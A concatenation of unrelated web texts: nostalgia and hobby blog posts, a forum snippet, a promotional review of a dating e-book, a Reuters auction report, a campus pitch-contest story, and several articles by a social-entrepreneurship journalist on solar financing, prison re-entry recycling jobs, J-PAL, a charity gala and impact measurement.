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C' 1940's Soda Fountain And Lunch Counter – Throwback Thursday
When your editor returned to eastern Long Island I had the opportunity to have breakfast in Riverhead, New York at the old Soda Fountain and Lunch Counter. I use to stop their as a youngster for a "homemade" cherry coke. Here are photos for today's Throwback Thursday at Estate Sales News. Did you have one of these where you grew up?
Copyright © 2019 Estate Sales News. All rights reserved. No part of this website or any of its contents may be reproduced, copied, modified or adapted, without the prior written consent of the author, unless otherwise indicated for stand-alone materials.


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stancomputerhunter wrote:Tanngnjostr wrote:Radamus wrote:Your gingerbread man says you placed 4th Good job!
The 4th place gingerbread man was awarded to 4th - 10th. These decriptions are ambiguous.
I'm confused. My trophy says 8th place. It looks like a gingerbread snowflake cookie. Show me the money! If I finished 8th, there are 200,000 hunters between 1st and 7th!
240000 points gives that cookie so basicly all the missions and comp would give you that one.

subset: commoncrawl


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Can improve your skills with women Can help you "stand out" in the crowd 60-day money back guaranteeCons
If you don't do it, you won't get anything from itVerdict
This is a solid product with some nice reviews around the internet. If you could use some help with the ladies, give this a shot and you probably won't be disappointed.
Review of "The Tao of Badass" by Joshua Pellicer
The Tao of Badass breaks the mold of the other e-books on relationships by showing you not just how to keep your relationship exciting and smooth but how to actually give you confidence you need to even have one in the first place. At least 75% of the people I know are lonely but nice guys and they won't even TRY to get a girlfriend or they'll just be in the "friendzone" for years hoping one day that woman will just realize they are perfect for each other. That will never happen unfortunately.
The Tao of Badass is quite an impressive package to help you overcome your fears about dating, approaching women, and it also helps you figure out what exactly you (and many others) are simply doing wrong. It also shows you how to fix this for yourself. Let's see what you get when you order The Tao of Badass.
The Tao of Badass E-book - This is the main thing you're going to be interested in. This has everything you need to make a dramatic and effective lifestyle change should you need it. It's hard to go from being shy and nice to becoming more confident and attractive to women. This WILL help you.
Never Get Cheated On E-book - This is free bonus #1 when you order this package. Seems like it would be pretty helpful, especially if this has happened to you before or you just want to prevent it before it could happen. A lot of this is based around being confident in yourself and not falling into a relationship "rut".
Monogamy vs Polyamory E-book - This shows you various viewpoints on dating just one woman or maybe a few at a time. This seems like risky business to me so know what you want before you screw it up by dating too many women. If you live in a small town it will be a horrible experience dating two women. Trust me on that one.
Escaping The Friend Zone E-book - It seems like a good idea to be in the "friend zone" but really, it sucks. Nothing good comes with being there most of the time. Men will hang out there waiting for the woman they love to eventually notice them. It doesn't work that way and this will show you how to take action.
Guide to Breaking Up E-book - This is bound to happen eventually. Know how to break up effectively without having to deal with small claims court, losing your best stuff or having a variety of terrible, emotional and unpleasant things going on.
60-Day Money Back Guarantee - This speaks for itself. You can decide if it's right for you or something you can do. If not, you can get a refund right? Nothing to lose.
My Take On This Product
I've seen my share of relationship e-books and what The Tao of Badass does is so different from other books that it really stands out. Many of the things discussed in this product are the top reasons men are so bad at pickup up women, making contact with a woman they already know or moving things from acquaintances to the next step: dating. These are hard transitions and even a confident man can have problems doing this. If you aren't terribly confident and have low self esteem, any of these may seem impossible.
The Tao of Badass is very "to the point" and doesn't pull punches when it tells you something you're probably used to doing and is part of your "game" is the complete wrong thing to do. It's nice to be told straight-up this way so it impacts you a little harder and makes you more likely to stop doing it. Let's see what others think:
True User Testimonials
Fabian Minogue (Google Groups)
"Getting a girlfriend can be extremely difficult if you're not the person that girls normally flock to. But you can become that man and all you need is the helping hand that Joshua Pellicer provides."
Jerma (forum.bodybuilding.com)
"...The guy (author of e-book) is starting to bald, is about 5'8 and 120lbs with an average face and being in his presence will humble even the most astutely confident men. I rarely use the term genius, but he truly is one."
The Bottom Line
I'm not a huge fan of e-books that deal with relationships but The Tao of Badass seems like something that could potentially change your life if you read it, study it and practice it. I transformed from shy to confident out of sheer willpower one year and it was the best thing I've ever done. I wish this was around at the time because things would have been much easier on me.
If you need help being more confident and want to be noticed by women, regardless of how you see yourself, this is the product for you.
Visit the official site for Tao Of Badass
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PARIS (Reuters) - A photograph of Michael Jackson posing as an Egyptian pharaoh sold for 26,000 euros ($34,880) Monday at an auction featuring four never-before-seen portraits of the "King of Pop."
The portrait of the late "Thriller" singer as a pharaoh, dressed in a gold cape and with dark shaded eyes, was bought at the Paris auction by Ora-Ito designer Ito Morabito. With the added commission, the final price ran at 32,240 euros.
"I have been a fan since I was born," Morabito said. "It is unique and really represents who he was. 50 percent man, 50 percent god."
Since his sudden death in June 2009 due to an overdose of drugs, Jackson photos and memorabilia have sold for record prices. The "Billie Jean" singer's trademark white glove sold at an auction of Jackson memorabilia for $350,000 last year in November, a few months after his death.
A posthumous album with new material and entitled "Michael," hits the stores this week.
A second portrait showing Jackson with sparkling blue glitter around his left eye soared to 25,000 euros in less than a minute. A third picture showed the singer in a black shirt pulled up to below the eyes standing against a screen of multicolored beads. It sold for 22,000 euros.
The fourth portrait, featuring Jackson standing in front of a red curtain, fetched 9,000 euros. Most of the other lots sold for around 1,500 euros.
The pictures were taken in 1999 by French photographer Arno Bani, then just 23. Jackson had reportedly wanted him to take the pictures for his 10th album "Invincible," released in 2001, the singer's last studio album.
The photographer signed over the rights to Sony for 10 years but the pictures were never used by the record label.
About 200 fans and dealers turned out at the Hotel Salomon de Rothschild, a private mansion in Paris. The sale was run by the house Pierre Berge & associes.
Editing by Paul Casciato


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Daniel Evans, Tariro Kandemiri, Sofia Olenchek, Blaise Iradukunda, and Tori Hinshaw (from left), pitched their ideas for improving the community at the 2017 Innovator's Gala
Sofia Olenchek, C '20, thought she had a good idea: making high-quality portraits available to people and families that can't afford the high costs often associated with professional photography.
So she took her idea to the 2017 Innovator's Gala and convinced the attendees she was right. Now, she has a grant of $250 to help bring her project to life. She plans to promote her services at area community centers and sought funding to pay for photo editing software and photo distribution costs.
The Gala, sponsored by the Entrepreneurship & Social Innovation Club, drew an audience of 32 students and community members for an evening in Guerry Garth where they dined on food donated by Dave's Modern Tavern, The Mountain Goat Market, and Pearl's Fine Dining.
Along with the socializing, the audience listened to Olenchek's pitch and two other proposals.
A team of Tariro Kandemiri, C '18, Daniel Evans, C '18, and Blaise Iradukunda, C '18, pitched their local food delivery business—SewaneeEats.com—an on-line app that offers to-the-door meal service from area restaurants and fast food outlets.
Tori Hinshaw, C '19, proposed helping fund the Highlander Hoedown, a community event at the site of the old Highlander Folk School. The event, in the style of the Saturday night social events the school often ran in the 1940s, is designed to open new connections between local residents and University students. Hinshaw is the event organizer, and she sought the funds to help defer some of the costs associated with the event.
The contest among the three groups was tight—Olenchek collected 12 votes, while each of the other projects picked up 11 ballots.
To see a slideshow of the Innovator's Gala, follow this link.


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About Gifts Outside The Box:
✨ Hello world, my name is Jess! I am the CEO and President of Gifts Outside The Box.
Our goal is to offer premium party decor, favors, and more, to help make your next party or event extra special with a unique touch at an affordable price.
✨ We pride ourselves on shipping all orders in a timely manner. Because we are a small business, we kindly ask that you allow 1-4 productions days, not including shipping. If you have a time constraint, please contact us to see what we can do.
We would love to hear from you! Have a question or comment? Feel free to contact me through my Etsy shop or directly email@example.com!


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Hey Jenny! I loved looking at your to do list, I want to make every single project you linked to! I decided to follow suit, and went through the house making a list of my own.
Living Room:
- pillows for couch. I have a few Kei prints that will work with both the red couch we have now and the couch we plan to replace it with (the same one you have in your living room!)
- curtains. I have ten natural cotton tab top panels that fit the windows and I'm committed to using mostly what I have on hand, so we'll see what I come up with. I have a Pinterest board started just for curtains, I'd love to see any links you might find, in the comments!
- frame and hang photographs and artwork.
- curtains. See above.
- frame and hang photographs and artwork.
- napkins. Gathering old men's shirts (and a few of Ian's old button downs, too!) to make the pattern from Sewn By Hand!
- seat cushions. Our chairs are great, but the wicker part is coming loose. Temporary solution? Make some cushions!
- hey, I need a mouse pad too!
- curtains for double wide, multi pane window over a built in cabinet. I'll likely purchase a print for this window, it is recessed from the others so I don't think it has to be exactly the same.
- paint inside of built in, remove doors (?). Fun contact paper?
- Organization: shelves hung, baskets made (definitely Maya's! I've still got that burlap you gave me ages ago), message center created
- curtain for window. I have a really cute chicken print that has some orange in it that I plan to use, I think it will look great with our new lights.
- towels. Thinking about flour sack for these, not sure yet!
- guess what? curtains!
- 3 large laundry bags and hooks to hang them on.
- quilts for top and bottom bunks
- you guessed it: curtains!
- owl bunting
- star/planet mobile
- hang shelves in closet and above dresser.
- find new dresser!
Stay tuned for more photos and links! I have to go clean out the chicks' temporary house in the kitchen and tend to a mountain of dishes that has plagued me since Easter weekend......


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I was going to do a rant on the baby killing nutbag in Israel, but I'm tired of being angry and sad. Just don't believe that evil television sitting in your living room. Do your intelligence a favor and smash it into a thousand pieces. Your soul will thank you for it. So, I'm posting about something fun, something that makes me smile, something beautiful. It's the art of the Dutch digital artist Telmo Pieper. His Kiddie Arts series recreates his own drawings from when he was 4 years old. He has since developed a few more technical skills but I love his four year old drawings just as much
Telmo Pieper uses Photoshop to digitally paint his old drawings.
Telmo Piper – Childhood drawing of a car.
Telmo Pieper – Childhood drawing of a whale. I think the whale picture is my favorite. It looks like something out of the depths of the ocean! It's a beauty
Telmo Pieper – Childhood drawing of a blowfly.
Telmo Pieper – Childhood drawing of a shark. I love this one too. It's one weird looking shark!
Telmo Pieper – Childhood drawing of a beetle.
See more artwork by the artist at his website here. He does more than just digital recreations of his childhood drawings, so take a look. I found out about the artist over at Bored Panda here. Also, if you're into beetles and bugs you might like this nature photographer that I mentioned recently.


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Clean Energy Advisors is a sponsor of the Your Mark on the World Center.
Clean Energy Advisors announced a major new financing that will take the firm from having invested about $140 million in solar energy projects to about $800 million. CEA President Scott Hill also notes that building on this success, the firm will establish a foundation to fund more charitable initiatives. (Watch or listen to my discussion with Scott using the players above.)Scott explains that the unnamed financing partners, two "multinational families," have committed about $350 million. Combined with additional debt financing, the firm anticipates reaching $800 million in financed projects, "completing the pipeline of projects in North Carolina." He anticipates that deploying the capital will take 18 to 24 months.
Scott explains that the unnamed financing partners, two "multinational families," have committed about $350 million. Combined with additional debt financing, the firm anticipates reaching $800 million in financed projects, "completing the pipeline of projects in North Carolina." He anticipates that deploying the capital will take 18 to 24 months.
He notes that the cost of installation for small utility scale projects is about $1.50 or $1.60 per watt, yielding a cost of about $1.5 million per megawatt. The new financing should allow CEA to install another 400 MW in North Carolina. He also notes that the scale they are achieving should allow the firm to look beyond their traditional structure where Duke Energy is the primary "off-taker" or buyer of the energy from the projects financed.
The new scale also creates an opportunity for CEO to increase its philanthropic efforts. Scott says the firm has started the process of creating a foundation that will fund charitable work. Last year, the firm backed nonprofits Reverb and Headcount to build support for environmental causes at 25 concerts across the country. Scott says they'll be doing that again. "People who attend concerts have a natural affinity for nonprofits."
Scott also hopes that the firm can use the foundation to fund solar projects in the developing world like putting solar panels on schools that don't have access to the grid. He says the firm will donate its time to manage projects that the foundation funds and hopes donors will help them make a big impact.
The acceleration of the solar industry is creating a bright future for the world, both in the developing world and here in the developed world.
More about Clean Energy Advisors:
Twitter: @cleanenergyadv
Clean Energy Advisors (CEA) creates ownership opportunities for investors in utility scale solar energy projects that generate tax-advantaged predictable income, preserve capital, and have positive social and environmental impact.
Scott's bio:
Twitter: @williamandhill
Scott Hill has over twenty years of entrepreneurial experience including a significant perspective on business start-ups and building successful small businesses. Mr. Hill has been with CEA since April 2014.
His duties include overseeing the firms family office, endowment, foundation, and UHNW client strategies. He has served as a panelist at US based family office conferences and enjoys speaking on impact investing, renewable energy opportunities, and the future of Solar PV worldwide.
Scott is a 1991 graduate of Columbia University and four year member of the football program. He lives near Nashville, TN with his wife and children. He's also actively involved in his community and church.
Never miss another interview! Join Devin here!
Devin is a journalist, author and corporate social responsibility speaker who calls himself a champion of social good. With a goal to help solve some of the world's biggest problems by 2045, he focuses on telling the stories of those who are leading the way! Learn more at DevinThorpe.com!
This is a guest post from Dawn Grimes, Vice President Business & Enterprise Development at RecycleForce
RecycleForce is an Indianapolis based social enterprise – a business with a social mission – offering comprehensive and innovative electronic recycling services while providing life-changing workforce training to formerly incarcerated individuals. Delivering assured destruction and certified recycling, RecycleForce manually de-manufactures, mechanically shreds and separates corporate retiring IT, throw-away consumer electronics, and large scale retail recall and overstock products. Sub-materials are sent to refiners for reclamation and recycling helping RecycleForce to achieve a high – often 100% – recycle rate on e-waste. The metals, plastic and other reusable materials that are sold to refiners help pay for job training programs and employment opportunities for formerly incarcerated men and women, supporting their re-entry back into society.
RecycleForce has experienced tremendous growth not only in recycling and destruction services, but also in job training. In 2006, RecycleForce had two workers who processed 600,000 pounds of material. Today, more than 75 employees process in excess of 11 million pounds of material annually, while getting training and learning skills that transfer to work in environmental services, warehouse operations, logistics and other industries.
Formerly incarcerated individuals face a difficult path upon release. They often leave prison in debt for costs associated with incarceration and/or child support arrearage. Most have no job prospects and few opportunities to earn wages to live, let alone pay user fees for correctional oversight, mandated drug and alcohol testing and counseling/treatment services, or other release mandates. Many also are without family supports and things many of us take for granted, like a place to live, work clothes, and a valid driver's license. Without these foundational elements, the rate of return to the criminal justice system is incredibly high. Historically, about half of those released to Indianapolis/Marion County from prison return to prison within three years, the majority on a technical rules violation, often involving unpaid fees or restitution.
I have had the incredible opportunity of seeing RecycleForce graduates use what they learned to not only avoid returning to prison, but to thrive and prosper in full-time jobs. RecycleForce graduate, Chris Holt, is one such graduate with a truly remarkable success story.
Coming to RecycleForce in 2013, Chris quickly realized he had an opportunity to develop skills that would enable him to earn a living, and he learned that through building good credit, he could establish himself in a business. He saved for a truck and, in true entrepreneurial fashion, began networking to provide snow removal, lawn care, recycling pick up service and related work around the community. Many of his referrals came from RecycleForce. Today Chris has a 5,000 square foot commercial building which also houses a nonprofit he founded that provides an entrepreneurship program for youth.
RecycleForce serves 300 or more individuals annually, with more than 60% of them being placed in full-time employment, and the longitudinal return to prison rate at RecycleForce is about a third of the national average. Chris is just one example of how RecycleForce's transitional jobs program changes lives.
About Dawn Grimes:
Dawn Grimes is Vice President Business & Enterprise Development at RecycleForce.
People ask me all the time what I do.
I'll never forget a conversation I had with my father in 1982. I told him I had decided to become an author. He responded, "You can't do that. That's not a job." At the time, I wasn't confident enough to say, "But bookstores are full of books written by people we call authors. That really looks like a job."
For better or worse, I accepted his advice and went on to become a successful finance guy, running my own SEC- and FINRA-registered investment bank and later becoming the CFO of a global food and beverage company that became the third largest company on the 2009 Inc. 500 list.
When I got fired from that job, I launched my new career as an author, a journalist and a speaker. I call myself a champion of social good. I write and speak about people who are changing the world for good.
I've learned one thing. Steve Jobs was right. He famously shared the following in an advertisement:
Here's to the crazy ones. The misfits. The rebels. The trouble-makers. The round pegs in the square holes. The ones who see things differently. They're not fond of rules, and they have no respect for the status-quo. You can quote them, disagree with them, glorify, or vilify them. But the only thing you can't do is ignore them. Because they change things. They push the human race forward. And while some may see them as the crazy ones, we see genius. Because the people who are crazy enough to think they can change the world, are the ones who do.
On my show, I've spoken to more than 800 people who are changing the world. Most of them are not changing the world in the way Steve Jobs did. With apologies to him, they are changing the world in more meaningful ways. Ending climate change. Eliminating extreme poverty. Eradicating disease. And they all have one thing in common. They are crazy enough to believe that what they do matters. They believe that the world will bend to their will. They believe they can change the world. And they have.
How crazy are you?
How many times per day do you hear "be mindful" or "be present"?
Frankly, as a social entrepreneur, I'm sick and tired of it. Here's why.
Yes, there are demonstrable health benefits to being present in the moment, especially for good moments. And frankly, for most of us with time to read an article of this sort, most moments are pretty good. Enjoying them more makes us all healthier and happier.
But I'm not very good at that.
Right now, in Somalia 6.5 million people are at risk of starving to death, largely as a result of climate change. The entire country is experiencing extreme drought and children—the most vulnerable to famine—are beginning to die. More than 100 people died in two days from starvation-related causes. (The British Red Cross is on the scene working to alleviate suffering and prevent massive death—donate here.)
About six million women and children will die this year from the smoke of cooking fires inside their homes. That is about 11 people every minute. For some reason, I don't feel the need to be present while I warm up my left overs in the microwave. (Learn more about clean cookstoves from the Global Alliance for Clean Cookstoves).
When I'm out for my run in the morning, I can't focus on my stride length, cadence or breathing because right here at home in the United States, 28.5 million people lack health insurance and another 14 million are threatened with losing theirs if Trumpcare is adopted. A study published by the Harvard Gazette reported that as of 2009, 45,000 people in the United States die from a lack of health insurance every year. While that number likely dropped in recent years due to the Affordable Care Act, the numbers could quickly spike again. (Write your congressional representatives to encourage them to expand coverage under the ACA rather than shrinking it.)
Not everything that distracts me is terrible. The number of polio cases is the world has dropped by 99.99 percent since the mid-1980s when there were almost 400,000 cases every year. Last year there were 37. This year could be the last year that anyone on the planet gets polio. Yes, I've said that for the past three years. No, I'm not giving up hope that this year will be the one. (Donate to Rotary's "End Polio" efforts here.)
And let's be clear, when I'm walking the streets of Salt Lake City thinking about my next article, my strategy for increasing my impact or reducing my carbon output, I'm not present. I'm not thinking about my feet in my shoes, the wind on my face or the beauty around me. I've seen it before. Hundreds of times over more decades than I care to count. Frankly, I'm thinking and worrying about something much more important than how much I'm enjoying my day.
Years ago, I learned that taking a few deep breaths when I'm stressed can have a big impact on my stress and my health. I do employ that technique consciously on most days because something gets me worked up. I'm ashamed that the things that really get me worked up are stupid, first-world sorts of problems. I should be getting more worked up about people starving in Somalia for starters.
You are probably more like me than you think. Perhaps you don't worry or think about any of the things I've listed above. Maybe you are more focused on caring for your aging parents, or for your own young children, or keeping the job you absolutely need to keep your family fed and sheltered. Being mindful is a luxury for the wealthy and the world would be better off if they weren't so mindful.
Someone is sure to point out that being truly mindful means contemplating the very things I'm talking about. Wonderful! Let's all be mindful in that sense. But let's not pretend we can be present in the moment appreciating the world around us and simultaneously be aware of others removed from us by great distances or dire circumstances. To be mindful of others is anathema to a focus on oneself.
Life is not supposed to be one continuous amusement. Your life has meaning, purpose and real joy when your attention is focused more on the wellbeing of others.
So, the next time you start to feel a bit guilty because you are not "present" or "mindful" enough, just say to yourself, "I'm not mindful because I'm not a narcissist."
This post was originally produced for Forbes.
You can download an audio podcast here or subscribe via iTunes.
The Abdul Latif Jameel Poverty Action Lab, commonly referred to as J-PAL, is based at MIT and seeks to reduce poverty by providing academic research on interventions by social entrepreneurs and others working in the space.
Quentin Palfrey, the executive director of J-PAL North America, worked for the Obama Administration before taking on the role at J-PAL. He notes that the center receives its funding from MIT and other philanthropic donors. The center has a staff of more than 30 full-time employees. He says, "J-PAL North America does not charge for services or generate sales revenue."
J-PAL works on global poverty. J-PAL North America focuses on poverty in the United States.
A lawyer by training, Palfrey thinks about the work in terms of policy implications. The lessons from J-PAL may be more relevant to social entrepreneurs who may be betting more than some public funding on their ventures.
"From low-income, first-time mothers in South Carolina; to teenagers living and attending school in the most dangerous neighborhoods of Chicago; to inmates struggling with substance use disorders in Kentucky, millions of people across the United States live in poverty and face incredible social challenges as a result," Palfrey says.
The political climate demands evidence-based approaches to social problems, he says. "Increasingly, policymakers at the federal, state, and local levels are turning to rigorous evidence on what works and why to create policies designed to combat poverty, improve schools, promote health, and address other social issues."
J-PAL's primary tool is the randomized control trial or RCT, Palfrey says. "We catalyze and support randomized evaluations, communicate evidence to help translate research into action, and help policymakers build capacity to create and use rigorous evidence."
Melissa Kearney, Professor of Economics at the University of Maryland and co-chair of the J-PAL State and Local Innovation Initiative, says that the goal is to understand how and why certain interventions are effective. "J-PAL is committed to replication, meaning if a research project demonstrates effectiveness of a particular intervention in one setting, that intervention should be implemented either the same way or with potential tweaks in another setting or with another population," she says.
"This is a critical aspect to building evidence and to developing an understanding of how and under what circumstances a particular intervention delivers impact," she adds.
Palfrey sees the pace of the work as its greatest challenge. "Policymakers often make crucial policy decisions based only on anecdote, status quo, or political belief. Replacing this process of creating policy with one based on scientific research can be slow. Moreover, policy priorities and approaches to governance can quickly shift with changes in administrations."
Contentious politics make the J-PAL's work more relevant than ever, he notes. "in today's hyper-partisan political climate, evidence-based policymaking has garnered strong bipartisan support, and the movement for more efficient and effective governance continues to gain momentum."
Palfrey notes that there are limitations to the center's work as well. "The randomized controlled trial is an incredibly rigorous and powerful tool for evaluating whether social programs really work, but they are not always appropriate for every setting."
He identified three specific limitations:
Kearney adds, "Too often the results of an evaluation are interpreted as a 'verdict' on an organization or a particular program. Instead, the social entrepreneurship community should recognize that this type of evidence building work is really an iterative process."
She says sometimes social entrepreneurs just need to try again. "If a research project yields disappointing results about the impact of a particular program, depending on the circumstance, it might make sense to try to make incremental changes to the way that particular program is implemented and evaluate the revised implementation."
Palfrey believes the work is a part of helping people out of poverty. "By transforming government and building a movement for evidence-based policy, we can help lift millions in the United States out of poverty. Committing to evidence-based policymaking will require innovating at every level of government and challenging the status quo. I'm confident that by doing so we can allocate our resources in a way that maximizes benefits for those who need it most."
On Thursday, March 2, 2017 at 1:00 Eastern, Palfrey will join me here for a live discussion about J-PAL's work and how it can be utilized by social entrepreneurs to increase their impact. Tune in here (at the top of this article) then to watch the interview live. Post questions in the comments below or tweet questions before the interview to @devindthorpe.
Never miss another interview! Join Devin here!
Devin is a journalist, author and corporate social responsibility speaker who calls himself a champion of social good. With a goal to help solve some of the world's biggest problems by 2045, he focuses on telling the stories of those who are leading the way! Learn more at DevinThorpe.com!
This post was originally produced for Forbes.
You can download an audio podcast here or subscribe via iTunes.
"If you do a gesture for charity, you should always make sure that it's from not a press spin, but a natural, organic effort," John Travolta said at the City Summit and Gala organized by social entrepreneur Ryan Long.
The City Gala held around the Grammys raised hundreds of thousands of dollars for charities, including Travolta's own Jett Travolta Foundation, named for his son, who passed away in 2009.
Travolta said his interest in philanthropy began with Katrina. "It was organic. It really was. When Haiti happened, when Hurricane Katrina happened, I had a plane. Nobody was helping them. Why wouldn't you do it?"
He also made the case for transparency in charitable work, "Make clear where the money is going so no one ever questions it. You have to have an integrity because it is a known area that could be suspect. You have to have a lot of integrity about admitting and exposing how this gets displayed or distributed."
Halle Berry, who delivered the keynote address at the Summit, said, "I've been an advocate of philanthropic efforts as long as I can remember—for most of my life."
Berry offered advice for humanitarians, "My advice: take the media training that your team provides you! I recall so many times I've walked away from an interview and said to myself, 'Now why did I say that?' So prepare for your opportunities, but if you do that, the press can be a powerful way to share the programs you are passionate about."
Long has come a long way from his roots to be hobnobbing with the rich and famous.
The City Gala was first held in 2015 and this year expanded to include a full-day Summit. The 2017 event was held on February 11 and 12. This year Berry and Travolta delivered speeches. Quincy Jones was presented with an award. John Paul Dejoria, founder of Paul Mitchell and number 214 on the Forbes 400 list, also presented.
Long chose two charities as the primary beneficiaries of the Gala, "We are tremendously honored to present the 2017 program in support of the International Arts & Philanthropy Foundation (IAP), which provides funding in support of arts, education, early childhood development, as well as the Breed Life program which supports and facilitates the gift of life through live organ donation."
Jeff Timmons of the Grammy-nominated pop group 98 Degrees served as the emcee for the Gala.
City Gala is registered with the State of California Attorney General's Registry of charitable trusts as a Commercial Fundraiser. Long says, "The entire mission and vision of the City Gala program is to bring business and entertainment heroes together united by their passion for overcoming hard obstacles and for supporting startup and not yet well-known philanthropic causes."
The event included "a red carpet, silent auction, and a day-long set of presentations and panels by business luminaries from organizations such as NASA, Google, Virgin Galactic and many others," Long says.
Long says the event was a big success, selling out and raising "hundreds of thousands" for charity. This despite the fact that the scheduled headline celebrity canceled in December due to a conflict, requiring Long and his team to scramble.
For 2018, the Grammys will be moving to New York City so the City Gala will move to Oscar weekend.
On Thursday, March 2, 2017 at noon Eastern, Long and Timmons will join me here for a live discussion about the event, its challenges and impact. Tune in here (at the top of this article) then to watch the interview live. Post questions in the comments below or tweet questions before the interview to @devindthorpe.
Update March 9, 2017: After posting the article and conducting the interview posted above, a reader wrote to Forbes suggesting that Long donates only 5 percent of revenue collected at his events to charity and that he "pays off celebs and the ones that participate have no idea what they are walking in to." The reader directed us to Rip Off Report where a variety of related accusations were made. In a rebuttal, Long acknowledged that as of February 2015, he was behind on his taxes and had filed for bankruptcy in 2010 as a result of the 2008 recession. He also acknowledged several arrests and criminal convictions. He also defended the legitimacy and success of past events, saying that $350,000 was donated to charity after the 2014 event.
In an email response, Long noted that his accuser is known to him. With respect to the money for charity, he says, "I lost money personally/professionally again this year… but managed to raise hundreds of thousands of dollars for the charitable organizations. After years of trying/failing/trying failing, I have evolved and know that it's simply a matter of time before visions/reality becomes true."
Dale Godboldo, founder of International Arts and Philanthropy, said by email in response to an inquiry, "IAPF/Breed Life did receive funds from the event and according to our agreements."
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Devin is a journalist, author and corporate social responsibility speaker who calls himself a champion of social good. With a goal to help solve some of the world's biggest problems by 2045, he focuses on telling the stories of those who are leading the way! Learn more at DevinThorpe.com!
This post was originally produced for Forbes.
This is the first in a series of articles about impact measurement for social entrepreneurs.
There are two keys to becoming a good social entrepreneur. Intentionality, that is intending to have a positive social impact rather than merely delivering one incidentally, is how you become a social entrepreneur. Accountability, measuring the impact, is how you become an effective one.
Measurement, however, is not straightforward for most social entrepreneurs. To help guide startup social entrepreneurs on the measurement of impact, I've reached out to some of the leading practitioners and experts in the impact arena to comment.
"It may not be as difficult as it seems, at least for now," says Stephanie Gripne, Founder and Director, Impact Finance Center & CO Impact Days and Initiative. "The majority of individuals and families [investing in social entrepreneurs] can still be satisfied with basic impact premises and themes, much as they're satisfied with generalized results from gifts to charities. For now, the democratization of impact investing is being led by values and principles more than measurable outcomes."
"Even many institutional investors and advanced investors," she continues, "are satisfied with 'outputs – acres conserved, ex-offenders employed, fair-trade products sourced, etc. – as long as the units counted seem reasonable. A smaller percentage (but perhaps a more vocal and well-publicized percentage) are seeking real 'outcomes' – the types of harder, longer-term measures that drive Social Impact Bonds for example."
Cathy Clark, Director, CASE i3 at Duke, highlights the importance of defining a "theory of change." She says, "This is basically an 'if-then' statement that relates their activities to the change they seek. Every social entrepreneur needs to make this argument about their impact. Using that theory, they can they start to recognize assumptions in the theory and track measures that help test how well things are actually occurring."
Cecile Blilious, Founder, Managing Partner, Impact First Investments, echoes Clark. "Entrepreneurs should be able to describe their theory of change and work towards creating a social impact plan in parallel with their business plan."
Similarly, Uma Sekar, Impact & ESG Manager, Capria Ventures, suggests starting with an impact thesis. "Entrepreneurs should start with an impact thesis or strategy, set goals that are achievable and align their core metrics. Some of the common metrics are lives impacted, job creation and geographic coverage. The more specific they are about the populations they are addressing–base of the pyramid, low income, minorities, women, refugees, etc.–the better. If it is an environment focused company – energy conservation, carbon footprint are common measures.
Lisa Curtis, founder & CEO, Kuli Kuli, suggests identifying a short list of key measures. "Social entrepreneurs should understand how their high-level vision translates down into 3-5 key metrics that are quantifiable. They should be able to articulate what success in 10 years would look like in terms of those metrics, whether it's the number of trees planted, livelihoods created or investment made."
Focus on measuring the one thing you're looking to do, says Nell Derick, Founder and CEO, Inspiring Capital. "A simple, customized, quantitative standard related to their self-proclaimed target impact. For example, we've been measuring our professionals' and clients' reaction to the question, 'Do you better understand how to use your or your employees' business skills (e.g. finance, strategy, marketing and operations) to advance social good?' since our first programs in 2014. It's not part of a public index or measure, but it tells US if we're doing what we set out to do, and the very design (and ongoing choosing) of that question forces us to clarify the one thing we're looking to do in the world."
Laurie Lane-Zucker, Founder & CEO, Impact Entrepreneur Center for Social and Environmental Innovation, suggests putting impact measures into a broader context. He says, "Global sustainability context is also important in this discussion of impact measures. Grounding social entrepreneurship in widely accepted contextual touchstones such as the United Nations' Sustainable Development Goals helps: a) provide sustainability context for impact investors keen on seeing "the big picture," b) facilitates comparisons between different investment opportunities addressing the same sector (i.e. water, climate, poverty, food), and c) helps ESG [environmental, social and corporate governance] reports using (hopefully) similar impact measurements be more comparable and transparently answerable to macro social and environmental needs."
Matthew Weatherley-White, Co-Founder, Managing Director, The CAPROCK Group, cautions that no single set of metrics will work for all social ventures. "We believe that there are no universal impact key performance indicators. Instead, social entrepreneurs should be prepared to measure, on day one, whatever impact metrics are endogenous to the operations or mission of their enterprise. Far too often, social entrepreneurs believe that tracking and reporting on a host of socially-aware metrics will make their business 'more' impactful… when, in fact, doing so may be (at best) a distraction to operating the business or (at worst) a distorting force, putting at risk the survival of the enterprise. Seen through this lens, impact measurement can be interpreted as answering the question of 'materiality': what impact measures are critical to the survival of the enterprise. That set of measures should be what the entrepreneur strives to report the day the doors open.
Gary White, CEO & Co-founder, Water.org, also emphasizes the unique measurement challenges each social venture will face. "For enterprises like Water.org and WaterEquity, we are very much focused on delivering impact in the form of number of people reached with water and sanitation improvements. For our WaterEquity initiative, we also look at IRIS metrics and commit to reporting within that framework."
Matthew Davis, CEO, RENEW, an impact investing firm focusing on Ethiopia, notes that for some ventures impact measure is relatively simple. "In the part of the world where I invest (Africa), where job creation is desperately needed and starting and growing a business is very challenging, the best impact is a healthy growing business that is managed by ethical leaders. Therefore, growth and good governance must be a priority from day one."
Peter Fusaro, Chairman, Global Change Associates, agrees. "Hopefully, they should be focused on the ESG metrics of environmental benefits, job creation and be ethical vis a vis transparency."
Bobby Turner, CEO, Turner Impact Capital, also recommends ESG metrics. "At Turner Impact Capital, our reports provide financial, social and environmental metrics for our investors to track. By doing so, one can then see the correlation and interdependency between profits and purpose, i.e. a reduction in carbon footprint leading to lower utility costs or a reduction in crime translating into lower insurance costs and thus higher profit margins."
Daniel Jean Louis, CEO, Bridge Capital, operating in Haiti, suggest even more basic measures, starting with "customer and employee satisfaction" because they are "much easier to track."
Balance qualitative measures with quantitative measures, suggests Topher Wilkins, CEO and founder, Opportunity Collaboration and Conveners.org, respectively. "In general, it's best to be able to justify both quantitative and qualitative impact, i.e. data-driven metrics (how many more children are now attending school, what percentage of women are now surviving childbirth, what's the increase in average household income, etc.) alongside stories or testimonials from beneficiaries, e.g. 'before X organization came to my village, it was very difficult to feed my entire family, but now I can provide at least two meals a day and no one is hungry anymore.'"
Expanding on this idea, Lisa Hagerman, Director of Programs, DBL Partners, says, impact measures should include narratives and quantitative measures about the programs and practices related to the target impact. These should include "narratives across: public policy, environmental stewardship, workforce development, community engagement, and, quantitative metrics across: job creation, quality of jobs & benefits offered (including wealth creating programs such as Employee Stock Ownership Plans), environmental metrics, supply chain accountability, among others.
